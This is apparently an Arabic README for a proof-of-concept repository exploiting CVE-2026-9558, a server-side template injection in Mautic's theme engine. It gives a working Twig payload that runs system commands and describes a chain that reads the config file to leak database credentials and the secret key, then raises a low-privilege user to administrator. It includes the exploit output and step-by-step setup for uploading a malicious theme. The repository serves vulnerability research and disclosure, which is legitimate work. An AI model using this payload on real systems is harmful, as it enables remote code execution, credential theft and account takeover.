
PoC قابلية الاستغلال لـ CVE-2026-9558 (SSTI في قالب Mautic)
CVE-2026-9558 هي ثغرة حقن القوالب من جانب الخادم (SSTI) في محرك السمات
الخاص بـ Mautic. السمات التي يتم رفعها عبر مدير السمات (Theme Manager) هي
أرشيفات ZIP تحتوي على قوالب Twig، وفي الإصدارات المتأثرة يتم عرض تلك
القوالب بواسطة بيئة Environment الافتراضية لتطبيق Twig دون إرفاق أي
سياسة SandboxExtension.
نظرًا لأن Twig يمكنه استدعاء دوال PHP عشوائية عبر عوامل تصفية مثل
map وfilter وreduce، يمكن لمستخدم موثَّق يمتلك صلاحيات رفع السمات
تثبيت سمة ينفذ قالبها أمر نظام عشوائي بمجرد عرضها — وهو ما يحدث تلقائيًا
في أول مرة يفتح فيها المستخدم منشئ البريد الإلكتروني أو الصفحات المقصودة
مع تلك السمة.
{{ ["id"] | map("system") | join }}
| النطاق المتأثر | أُصلح في |
|---|---|
| >= 1.3.0, < 4.4.13 | 4.4.13 (4.4.20 via ELTS) |
| >= 5.0.0, < 5.2.11 | 5.2.11 |
| >= 6.0.0, < 6.0.9 | 6.0.9 |
| >= 7.0.0, < 7.1.2 | 7.1.2 |
يستهدف هذا المختبر الإصدار 7.1.1، وهو آخر إصدار قبل الإصلاح.
ينص توثيق المطورين في Mautic على أن قوالب السمات تُعرض في بيئة Twig رملية (sandbox) مقيدة:
يعرض Mautic قوالب السمات التي يرفعها المستخدمون في بيئة Twig رملية مقيدة. تمنع البيئة الرملية بعض الدوال وعوامل التصفية التي قد تتيح تنفيذ الأكواد عن بُعد، أو تسريب البيانات، أو استكشاف نظام الملفات.
في الإصدارات المتأثرة، لا توجد سياسة البيئة الرملية هذه. يقدّم الإصلاح
(7.1.2) ملف
ThemeSandboxPolicy.php،
وهو تطبيق SecurityPolicyInterface قائم على القائمة السوداء يمنع
عوامل التصفية map وfilter وreduce ومجموعة من الدوال، بما فيها
source() (قراءة الملفات العشوائية) وconfigGetParameter() (تسريب
بيانات اعتماد قاعدة البيانات ومفتاح التطبيق السري). يوثّق التعليق المضمّن
في الإصلاح نفسه الشكل الدقيق للحمولة المستخدمة في هذا الإثبات المفاهيمي (PoC):
private const DENIED_FILTERS = [
'map', // {{ ['id']|map('system')|join }} -> RCE
'reduce',
'filter',
];
قبل هذه السياسة، لم تكن توجد أي قيود من هذا القبيل على أي مسار لعرض السمات.
تم التحقق من السلسلة بالكامل من البداية إلى النهاية باستخدام حساب منخفض
الصلاحيات يمتلك فقط مجموعتي صلاحيات السمات (إنشاء/تعديل) والبريد
الإلكتروني (إنشاء/تعديل) — وليس صلاحيات المسؤول — لمطابقة الشرط المسبق
PR:L في متجه CVSS الوارد في النشرة الأمنية.
system() المضمّنة في ملف .twig الخاص بالسمة.config/local.php
الخاص بـ Mautic نفسه، مما يكشف بيانات اعتماد قاعدة البيانات وsecret_key
الخاص بالتطبيق كنص صريح.PDO مباشر من داخل حمولة SSTI وترقية الحساب منخفض
الصلاحيات إلى role_id بقيمة 1 (مسؤول)، متجاوزًا بالكامل
فحوصات الصلاحيات على مستوى تطبيق Mautic.uid=33(www-data) gid=33(www-data) groups=33(www-data)
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
rows_updated=1
confirm: 2|priv-esc|1
تشير النشرة الأمنية إلى PR:L. يؤكد هذا المختبر عمليًا الشرط المسبق
المحدد لانخفاض الصلاحيات: الوصول إلى مشغّل العرض يتطلب كلًا من
صلاحيات رفع السمات وصلاحيات إنشاء البريد الإلكتروني — وليس صلاحية
منخفضة عامة واحدة. لا يوجد حل بديل خارج الإصلاح الرسمي يقيد هذا؛
التخفيف الوحيد الموثق هو قصر core:themes:create على المسؤولين
الموثوقين.
cve-2026-9558-poc/
├── podman-compose.yml # MariaDB + Mautic 7.1.1-apache, isolated bridge network
├── Dockerfile.mautic # pins the official image to the vulnerable release
├── install.sh # non-interactive mautic:install bootstrap
└── sparse/
├── config.json # malicious theme manifest
├── sparse.zip # theme ready to be uploaded
└── html/
├── email.html.twig # SSTI payload template. Look at the end of file where there is the placeholder for injecting arbitrary commands.
├── ... # Other .twig files
└── .../ # Other directories (e.g css)
| الأداة | الإصدار | ملاحظات |
|---|---|---|
| Podman | ≥ 4.0 | يتطلب podman-compose |
| curl | أي إصدار | يستخدمه install.sh للاستعلام عن الجاهزية |
يتم الاستغلال في هذا الإثبات المفاهيمي يدويًا عبر واجهة الويب الخاصة بـ Mautic (رفع عبر مدير السمات ← منشئ البريد الإلكتروني)، بما يطابق سير عمل المهاجم الحقيقي: رفع السمة هو عملية ملفات، وليس استدعاء API يستحق الأتمتة في هذه المرحلة من التحليل.
podman-compose up -d
./install.sh
ينتظر install.sh حتى تقبل حاوية التطبيق الاتصالات، ثم يشغّل
mautic:install بشكل غير تفاعلي لتهيئة حساب المسؤول الأول.
من الواجهة، أنشئ دورًا مخصصًا مع تمكين السمات (إنشاء/تعديل) و
البريد الإلكتروني (إنشاء/تعديل) فقط، وأنشئ مستخدمًا مرتبطًا بهذا
الدور. هذا يعيد إنتاج الشرط المسبق PR:L بدلًا من الاختبار بصلاحيات
المسؤول.
سجّل الدخول كمستخدم منخفض الصلاحيات. من السمات ← رفع، ارفع ملف ZIP
مبنيًا من sparse/config.json وsparse/html/page.html.twig (أو نسخة
معدلة من أي سمة مدمجة مع إضافة سطر الحمولة إلى ملف .twig الخاص بها).
من القنوات ← البريد الإلكتروني ← جديد، اختر السمة المرفوعة كقالب، وافتح المنشئ. تُنفَّذ الحمولة بمجرد عرض السمة للمعاينة.
podman-compose down -v
uid=33(www-data) gid=33(www-data) groups=33(www-data)
هذا المستودع مخصص للأغراض التعليمية وتحليل قابلية الاستغلال محليًا فقط. تم إجراء جميع الاختبارات ضد بيئة حاويات مستضافة ذاتيًا. لا تشغّل هذا الإثبات المفاهيمي ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
| المورد | الرابط |
|---|
| النشرة الأمنية | GHSA-9fx4-7cmj-47vg |
| الإصلاح (سياسة البيئة الرملية) | ThemeSandboxPolicy.php |
| المستودع المعرض للثغرة | mautic/mautic |
| التحليل الكامل — تدوينة | return-zero.dev/posts/cve-2026-9558 |